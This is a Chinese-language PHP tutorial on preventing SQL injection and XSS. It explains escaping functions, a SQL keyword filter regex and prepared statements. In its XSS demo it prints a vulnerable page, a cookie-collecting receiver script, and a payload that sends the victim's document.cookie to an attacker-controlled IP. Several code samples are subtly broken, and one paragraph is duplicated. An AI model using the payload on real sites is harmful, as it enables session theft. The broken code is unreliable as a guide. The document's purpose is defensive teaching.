SQL注入的问题
PHP自带的几个防止SQL注入的函数
1.php.ini 中的magic_quotes_gpc配置
为了防止SQL注入,PHP自带一个功能可以对输入的字符串处理,可以在较低层对输入进行安全上的初步处理,也就是Magic Quotes。(php.magic_quotes_gpc)。默认情况下开启,如果magic_quotes_gpc选项启用,那么输入的字符串中的单引号,双引号和其它一些字符前将会自动加上反斜杠。 但Magic Quotes并不是一个很通用的解决方案,没能屏蔽所有有潜在危险的字符,并且在许多服务器上Magic Quotes并没有被启用。所以,我们还需要使用其它多种方法来防止SQL注入。
许多数据库本身就提供这种输入数据处理功能。例如PHP操作函数中就有addslashes(),mysql_real_excape_string(),mysql_escape_string()函数等
2.addslashes()
addslashes()函数返回在预定义字符之前添加反斜杠的字符串
预定义的字符
- 单引号
- 双引号
- 反斜杠(\)
- NULL
注释:默认地,PHP默认情况下会开启magic_quotes_gpc,对所有的GET,POST和COOKIE数据自动运行addslashes(),所以不应该对已转移过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况可以使用函数get_magic_quotes_gpc()函数进行检查是否开启了magic_quotes_gpc的配置
3.mysql_escape_string() && mysql_real_escape_string()
mysql_escape_string -- 转义一个字符串用于 mysql_query
mysql_escape_string() 并不转义 % 和 _。
mysql_escape_string()和
mysql_real_escape_string() 完全一样,除了
mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string
() 并不接受连接参数,也不管当前字符集设定。
4.以上的过滤还不够彻底,需要使用正则表达式过滤掉SQL注入的关键字
/**
* @param $gpc 传入参数
* @return $gpc 转义后的数据
*/
function saddslashes($gpc){
$magic_quote = get_magic_quotes_gpc();
if(empty($magic_quote)){
if(is_array($gpc)){
foreach($gpc as $key => $val){
$gpc[$key] = saddslashes(trim($val));
}
}else{
$gpc =urldecode($gpc);
$gpc = strip_tags($gpc); //strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
$gpc = trim($gpc); //trim() 函数移除字符串两侧的空白字符或其他预定义字符
trim()
//自动过滤Sql的注入语句。
$check=preg_match('/select|insert|update|delete|\.\.\/|\.\/|union|into|table|database|load_file|outfile/i',$gpc);
if ($check) {
DLOG('filter_string='.$gpc,'run','mobile');
return '';
}
}
}
return $gpc;
}
5.最有效的防止SQL注入的方法
使用预处理语句和参数化查询。预处理语句和参数化查询分别发送到数据库服务器进行解析,参数会被当作普通字符处理。这种方式使得攻击者无法注入恶意的SQL
a.使用PDO
<?php
$stmt = $pdo->prepare("SELECT * FROM t_user WHERE user_nick=:user_nick");
$stmt->excute(array(':user_nick'=>$user_nick));
foreach ($stmt as $row) {
//do something with $row
}
?>
b.使用mysqli
<?php
$stmt = $dbConnection->prepare("SELECT * FROM t_user WHERE user_nick=?");
$stmt->bind_param(array('s', $user_nick));
$stmt->excute();
$result = $stmt->get_result();
foreach ($row = $result->fetch_assoc()) {
//do something with $row
}
?>
注释:使用预处理语句和参数化查询的好处
当你将SQL语句发送给数据库服务器进行预处理和解析时发生了什么?通过指定占位符(一个?或者一个上面例子中命名的 :name),告诉数据库引擎你想在哪里进行过滤。当你调用execute的时候,预处理语句将会与你指定的参数值结合。 关键点就在这里:参数的值是和经过解析的SQL语句结合到一起,而不是SQL字符串。SQL注入是通过触发脚本在构造SQL语句时包含恶意的字符串。所 以,通过将SQL语句和参数分开,你防止了SQL注入的风险。任何你发送的参数的值都将被当作普通字符串,而不会被数据库服务器解析。回到上面的例子,如 果$name变量的值为 ’Sarah’; DELETE FROM employees ,那么实际的查询将是在 employees 中查找 name 字段值为 ’Sarah’; DELETE FROM employees 的记录。 另一个使用预处理语句的好处是:如果你在同一次数据库连接会话中执行同样的语句许多次,它将只被解析一次,这可以提升一点执行速度
XSS攻击 跨站脚本攻击(Cross Site Scripting)
XSS攻击与SQL注入类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在XSS攻击中,通过插入恶意脚本,实现对用户浏览器的控制
以下为XSS攻击的最简单的例子
a.角色分配
- 有XSS漏洞的网站
- 受害访问者
- 黑客的数据接收网站
b.有XSS漏洞的网站
./xss_demo.php
<?php
session_start();
?>
<!doctype html>
<html>
<head>
<title>XSS demo</title>
</head>
<body>
<form>
<input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
该网页吧用户通过GET发送过来的表单数据,未经处理直接写入返回的html流中,这就是XSS漏洞所在
c.黑客接受的网站
./xss_hacker.php
<?php
$victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];
file_put_contents('xss_victim.txt', $victim);
?>
把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_vitim.txt文件中保存
注:
现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据。客户端通过cookie将session id传递到服务器,服务器根据session id找到对应的文件,读取的时候对文件内容进行反序列化就得到session的值,保存的时候先序列化再写入。
d.攻击过程
(1)黑客准备攻击字符串,构造攻击URL
黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL,然后精心构造攻击字符串。对于本例来说构造出来的字符串就是
"/> <script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!--
只要把这个字符串作为漏洞网站文本编辑框的表单输入提交,就会造成攻击
(2)此时,用户访问漏洞网站的html代码,被修改成了
<!doctype html>
<html>
<head>
<title>XSS demo</title>
</head>
<body>
<form>
<input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
很明显,这个html回去执行一个脚本,这个脚本功能就是把用户的cookie发送到黑客的接受网站。
最终生成的攻击URL为:
http://172.16.35.135/xss_demo.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2F172.16.2.192%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21--
(3) 黑客可以采取各种手段,包括发Email,在各种论坛网站发布此攻击URL。
受害用户访问攻击URL后,其敏感数据自动发送到黑客的接收网站。接收网站把这些敏感信息保存到文件中,当然现实的情况一定是存入到数据库中了。xss_victim.txt中现在保存了受害者的敏感数据。
有了受害用户的敏感数据,就可以利用这些数据做各种坏事了,比如以受害用户身份登录漏洞网站,等等。
XSS的预防
- 浏览器自身可以识别简单的XSS攻击的字符串,从而阻止简单的XSS攻击
- 从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上;
原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
- 对数据进行Html Encode 处理
- 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
- 过滤JavaScript 事件的标签。例如 "οnclick=", "onfocus" 等等。
附1
Html Encode 和 URL Encode的区别
Html Encode
XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。
URL Encode
HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。
例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(
%)后跟两位十六进制数,空格则编码为加号(
+)
PHP相应的处理函数
Html Encode 对应
PHP htmlspecialchars() 函数
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
提示:如需把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。
URL Encode函数
urlencode() urldeconde()
附2
三、用HTTP-only Cookie保护数据
为了缓解跨站点脚本攻击带来的信息泄露风险,Internet Explorer 6 SP1为Cookie引入了一个新属性。这个属性规定,不许通过脚本访问cookie。使用HTTP-only Cookie后,Web 站点就能排除cookie中的敏感信息被发送给黑客的计算机或者使用脚本的Web站点的可能性。
Cookie通常是作为HTTP 应答头发送给客户端的,下面的例子展示了相应的语法(注意,HttpOnly属性对大小写不敏感):
即使应答头中含有HttpOnly属性,当用户浏览有效域中的站点时,这个cookie仍会被自动发送。但是,却不能够在Internet Explorer 6 SP1中使用脚本来访问该cookie,即使起初建立该cookie的那个Web 站点也不例外。这意味着,即使存在跨站点脚本攻击缺陷,并且用户被骗点击了利用该漏洞的链接,Internet Explorer也不会将该cookie发送给任何第三方。这样的话,就保证了信息的安全。
为了缓解跨站点脚本攻击带来的信息泄露风险,Internet Explorer 6 SP1为Cookie引入了一个新属性。这个属性规定,不许通过脚本访问cookie。使用HTTP-only Cookie后,Web 站点就能排除cookie中的敏感信息被发送给黑客的计算机或者使用脚本的Web站点的可能性。
Cookie通常是作为HTTP 应答头发送给客户端的,下面的例子展示了相应的语法(注意,HttpOnly属性对大小写不敏感):
即使应答头中含有HttpOnly属性,当用户浏览有效域中的站点时,这个cookie仍会被自动发送。但是,却不能够在Internet Explorer 6 SP1中使用脚本来访问该cookie,即使起初建立该cookie的那个Web 站点也不例外。这意味着,即使存在跨站点脚本攻击缺陷,并且用户被骗点击了利用该漏洞的链接,Internet Explorer也不会将该cookie发送给任何第三方。这样的话,就保证了信息的安全。
注意,为了降低跨站点脚本攻击带来的损害,通常需要将HTTP-only Cookie和其他技术组合使用。如果单独使用的话,它无法全面抵御跨站点脚本攻击。